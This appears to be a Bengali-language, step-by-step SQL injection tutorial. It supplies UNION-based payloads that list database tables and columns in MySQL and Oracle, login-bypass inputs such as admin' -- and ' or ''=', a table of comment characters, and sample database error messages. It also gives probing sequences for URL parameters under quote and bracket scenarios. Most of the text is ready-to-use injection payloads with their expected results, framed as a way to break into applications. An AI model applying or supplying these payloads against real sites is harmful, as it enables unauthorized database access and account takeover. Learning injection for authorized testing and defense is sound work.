নিচে স্টেপ টু স্টেপ শিখানো হয়েছে এখানে তার কিছু ফাঙ্কশন দেয়া হলো যার দ্বারা ডাটাবেস হতে বিভিন্ন ইনফরমেশন বের করা হয় :
| Function Name/Command | Description |
| column_name | The name of the colunmn |
| table_name | The name of the table in which the column can be found |
| data_type | Indicates data type of the column (SQL Server data type) |
| column_default | Default value inserted in the column. |
| is_nullable | Indicates if the value can be null. |
| column names Sql | 1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM information_schema.columns //////////////// Query generated. /////////////////////////// SELECT name, description, price FROM products WHERE category=1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM information_schema.columns |
| column names Oacle | 1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM all_tab_columns ////////////// Query generated. ////////// SELECT name, description, price FROM products WHERE category=1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM all_tab_columns |
| Table Names in MySQL | 1 AND 1=2 UNION SELECT table_schema, table_name, 1 FROM information_schema.tables |
| Table Names in Oracle | 1 AND 1=2 UNION SELECT owner, table_name, 1 FROM all_tables ///////////// Query generated.////////////////// SELECT name, description, price FROM products WHERE category=1 AND 1=2 UNION SELECT owner, table_name, 1 FROM all_tables |
Login Bypass :
$query = "SELECT * FROM users WHERE username='"..$_POST['username']."' AND password='".$_POST['password']."'";
উপরের কোয়েরিতে বলা হচ্ছে যদি একটা row রিটার্ন হয় সেক্ষেত্রে আমরা লগইন এক্সেস নিতে পারবো। এটা ভাঙার জন্য যদি আমরা নিচের মতো ইঞ্জেক্ট করি তাহলে ভাঙতে পারবো

admin
wrongpassword' OR 'a'='a
SELECT * FROM users WHERE username='admin' AND password='wrongpassword' OR 'a'='a'
Vulnerable Username Field :
Malicious username (1st line) and password (2nd line) submitted by the attacker.
admin' --
anypassword
Query generated (login bypass attack).
SELECT * FROM users WHERE username='admin' -- AND password='anyPassword'
Username : ' or ''='
Password : ' or ''='
ডাটাবেসের স্ট্রাকটার : ডাটাবেস সিস্টেমে ডাটাবেস একটি কম্পিউটার এ হোস্ট করা থাকে যা লোকাল ইন্টারনেট বা ওয়ার্ল্ড ইন্টারনেট এর সাথে সংযুক্ত থাকে এবং এর ইউজার থাকে যার একটি পাসওয়ার্ড থাকে এবং সে এক বা একাধিক ডাটাবেস এক্সেস করতে পারে।
নিচে একটি ডাটাবেসের উদাহরণ দেয়া হলো যাতে tabil১ ও student নাম টেবিল আছে এবং টেবিলে কিছু ডাটা আছে।

এখন আমরা যদি table1 হতে ডাটা দেখতে চাই তাহলে আমাদের কোয়েরি লিখতে হবে এবং নিচের মতো ডাটা দেখতে পাবো
select * from table1

আবার আমরা যদি student টেবিলের নির্দিষ্ট কোনো ডাটা দেখতে চাই যেমন যার id এর মান ১ তাহলে নিচের মতো কোয়েরি লিখতে হবে এবং নিচের মতো আউটপুট পাবো
Select * from students where id=1

এবার আমরা একটি শর্তের ভিত্তিতে ডাটা দেখবো যেখানে f_name=’camaline’
Select * from students where f_name='camaline'

এখন SQL কোয়েরি কিভাবে নষ্ট করে তা দেখবো
যদি কোনো কোয়েরিতে ইনপুট হিসাবে নাম্বার গ্রহণ করে সেক্ষেত্রে কোয়েরি গুলো দেখতে এরকম হয়
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")
উপরের সবগুলো কোয়েরি একই আউটপুট দেবে।
যদি কোনো কোয়েরিতে ইনপুট হিসাবে ষ্ট্রিং বা টেক্সট গ্রহণ করে সেক্ষেত্রে কোয়েরি গুলো দেখতে এরকম হয়
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=('1')
select * from table_name where id=("1")
উপরের সবগুলো কোয়েরি একই আউটপুট দেবে।
প্রথম উদাহরণ : যখন আমরা কোনো url দেখবো যেমন http://example.com/report.php?id=23 তখন আমরা এর কোয়েরি সম্পর্কে অনুমান করতে পারবো যদি আমরা উপরের কোয়েরিকে নিচের মতো অনুমান করতে পারি.
select * from table_name where id=23
select * from table_name where id='23'
select * from table_name where id="23"
select * from table_name where id=(23)
select * from table_name where id=('23')
select * from table_name where id=("23")
কোয়েরি ইঞ্জেক্ট করার পূর্বে আমাদের ডাটাবেসের কমেন্ট কমান্ড সম্পর্কে জানতে হবে
| Comment | Name |
| — | MySQL Linux Style |
| –+ | MySQL Windows Style |
| # | Hash (URL encode while use) |
| –+- | SQL Comment |
| ;%00 | Null Byte |
| ` | Backtick |
Important
- যখন একটি ইনপুট সিঙ্গেল কোটেশন দ্বারা ক্লোজ করা থাকবে তখন ইনপুটের সাথে একটি সিঙ্গেল কোটেশন যোগ করলে এরর প্রদান করবে
- যখন একটি ইনপুট ডাবল কোটেশন দ্বারা ক্লোজ করা থাকবে তখন ইনপুটের সাথে একটি ডাবল কোটেশন যোগ করলে এরর প্রদান করবে
- যখন একটি ইনপুট ডাবল কোটেশন বা সিঙ্গেল কোটেশন দ্বারা ক্লোজ করা থাকবে না তখন ইনপুটের সাথে একটি ডাবল কোটেশন বা সিঙ্গেল কোটেশন যোগ করলে এরর প্রদান করবে
SQL এরর গুলো দেখতে কিরকম হবে :
MySQL Error Style:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
MSSQL ASPX Error:
Server Error in ‘/’ Application
MSAccess (Apache PHP):
Fatal error: Uncaught exception ‘com_exception’ with message Source: Microsoft JET Database Engine
MSAccesss (IIS ASP):
Microsoft JET Database Engine error ‘80040e14’
Oracle Error:
ORA-00933: SQL command not properly ended
ODBC Error:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
PostgreSQL Error:
PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1
or
Query failed: ERROR: syntax error at or near
“‘” at character 56 in /www/site/test.php on line 121.
MS SQL Server: Error:
Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string
এরর তৈরী করা : বিভিন্ন ভাবে পরীক্ষা করে এরর তৈরী করতে হয় এবং কন্ফার্ম হতে হয় যে কোন কোয়েরিটি কাজ এপ্লিকেশন এ করছে। উদাহরণ স্বরূপ “http://vk9-sec.com/report.php?id=23” এই url এ এরর তৈরী করার চেষ্টা করতে হবে এবং দেখতে হবে যে এপ্লিকেশন টি কিরকম আচরণ করছে।আমরা মনে করছি কোয়েরিটি এরকম
select * from table_name where id=23
এখন id=23 এর 23 যদি নম্বর জাতীয় ইনপুট হয় সেক্ষেত্রে এরর তৈরী করতে নিচের কাজগুলো করতে হবে
| 23′ | এটা এরর প্রদান করবে যার কারণে ডাটাবেসের কোনো ডাটা আউটপুট করবেনা |
| 23″ | এটা এরর প্রদান করবে যার কারণে ডাটাবেসের কোনো ডাটা আউটপুট করবেনা |
| 23 or 1=1 | এটার আউটপুট আসতে পারে কিন্তু আউটপুট ভিন্ন হবে |
| 23 and 1=1 | আগের মতোই আউটপুট আসবে মানে ডাটাবেস হতে ডাটা আউটপুট দেবে |
| 23 and false | No output |
| 23 and true | Same Output |
| 23–+ | Same output. I used –+ to comment, later i ll show how to know which one to use |
| 23 and true–+ | Same output |
Scenario 1: Single quote :যদি কোনো কোয়েরি সিঙ্গেল কোটেশন দ্বারা ইনক্লোজ করা থাকে { select * from table_name where id=’23’}তাহলে কোয়েরিটি নিচের মতো যদি কোয়েরিটি সিঙ্গেল কোটেশন দ্বারা ইনক্লোজ করা থাকে তবে এপ্লিকেশন টি ইঞ্জেক্ট করার সময় এপ্লিকেশন নিচের মতো আচরণ করবে
| 23′ | It should cause error or no output |
| 23″ | No error Same output |
| 23′ or ‘1’=’1 | Any Output should come but may be different output |
| 23′ and ‘1’=’1 | Same output should come |
| 23′ and false–+ | No output |
| 23′ and true–+ | Same Output |
Scenario 2: Double quote
| 23′ | No error Same output |
| 23″ | It should cause error or no output |
| 23″ or “1”=”1 | Any Output should come but may be different output |
| 23″ and “1”=”1 | Same output should come |
| 23″ and false–+ | No output |
| 23″ and true–+ | Same Output |
Scenario 3: Integer Based Bracket enclosed : select * from table_name where id=(23)
| 23′ | It should cause error or no output |
| “ | Should cause error or no output |
| 23 or 1=1 | Output should come but may be different output |
| 23 and 1=1 | Output should come but may be different output |
| 23 and false | No output |
| 23 and true | Same Output |
| 23–+ | Error or No output. Here you can understand that any Bracket is used |
| 23)–+ | Same output |
| 23) and false–+ | No output |
| 23) and true–+ | Same output |
Scenario 4: bracket enclosed Single Quote : {select * from table_name where id=(’23’)}
| 23′ | It should cause error or no output |
| 23″ | No error Same output |
| 23′ or ‘1’=’1 | Any Output should come but may be different output |
| 23′ and ‘1’=’1 | Any Output should come but may be different output |
| 23′ and false–+ | No output or error |
| 23′ and true–+ | No output or error |
| 23′) and False–+ | No output |
| 23′) and true–+ | Same Output |
| 23′) or true–+ | Output will come but may be different |